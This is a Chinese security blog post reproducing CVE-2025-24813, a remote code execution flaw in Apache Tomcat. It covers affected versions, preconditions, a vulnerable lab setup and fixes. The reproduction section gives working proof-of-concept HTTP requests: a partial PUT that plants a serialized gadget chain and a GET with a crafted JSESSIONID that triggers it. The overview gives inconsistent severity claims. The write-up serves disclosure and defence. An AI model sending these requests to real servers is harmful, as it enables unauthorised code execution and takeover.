前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >CVE-2025-24813:Apache Tomcat远程代码执行漏洞

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

作者头像
Timeline Sec
发布2025-03-28 17:10:41
发布2025-03-28 17:10:41
17600
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

作者:Howell@Timeline Sec 本文字数:3141 阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

0x02 漏洞概述

漏洞编号:CVE-2025-24813 CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器‌。

0x03 利用条件

1)影响版本

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

2)其他条件:

  • 满足以下条件,攻击者可以访问或修改安全敏感文件:
    1. DefaultServlet 启用了写入权限(默认禁用)。
    2. 服务器启用了 partial PUT(默认启用)。
    3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
    4. 攻击者已知目标敏感文件的路径以及文件名。
    5. 敏感文件是通过 partial PUT 上传的。
  • 满足以下条件,攻击者可以远程代码执行(RCE):
    1. DefaultServlet 启用了写入权限(默认禁用)。
    2. 服务器启用了partial PUT(默认启用)。
    3. Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
    4. 应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

0x04 环境搭建

安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!

JAVA 中国[1] 下载JAVA,并配置环境变量。

Apache Tomcat[2] 下载对应漏洞版本的 Tomcat,并配置用户变量。

打开 Tomcat 文件夹,在 conf/web.xml 中添加如下配置,开启 File 文件会话存储

代码语言:javascript
代码运行次数:0
运行
复制
<Context>  
<Manager className="org.apache.catalina.session.PersistentManager">  
    <Store className="org.apache.catalina.session.FileStore"/>  
</Manager>  
</Context>

conf/web.xml 中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。

代码语言:javascript
代码运行次数:0
运行
复制
<servlet>  
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入 webapps\ROOT\WEB-INF,在此路径下新建 lib 文件夹,将 CC 放入。

启动 Tomcat,并访问 8080 端口,查看是否启动成功。

0x05 漏洞复现

使用 yakit 抓包。

使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoseri-all.jar 也是可以的)。

由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。

代码语言:javascript
代码运行次数:0
运行
复制
PUT /poc/session HTTP/1.1  
Host: localhost:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{base64decode(反序列化文件内容)}}

在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。

发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT 目录下会生成一个 .poc.session 文件。

使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 work\Catalina\localhost\ROOT

然后发送触发 POC 的包即可。

代码语言:javascript
代码运行次数:0
运行
复制
GET / HTTP/1.1  
Host: localhost:8080  
Cookie: JSESSIONID=.poc

成功弹出计算器!

0x06 修复方式

  1. 官方修复 Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。 Upgrade to Apache Tomcat 11.0.3 or later Upgrade to Apache Tomcat 10.1.35 or later Upgrade to Apache Tomcat 9.0.99 or late
  2. 临时缓解措施
    1. 禁用 DefaultServlet 写入功能:在 web.xml 中确保 readonly=true
    2. 禁用文件会话持久化:移除 context.xml 中的 PersistentManager 配置。
    3. 移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。

历史复现

CVE-2024-50379 CVE-2020-1938

参考资料

[1]

JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/

[2]

Apache Tomcat: https://tomcat.apache.org/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 利用条件
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 历史复现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档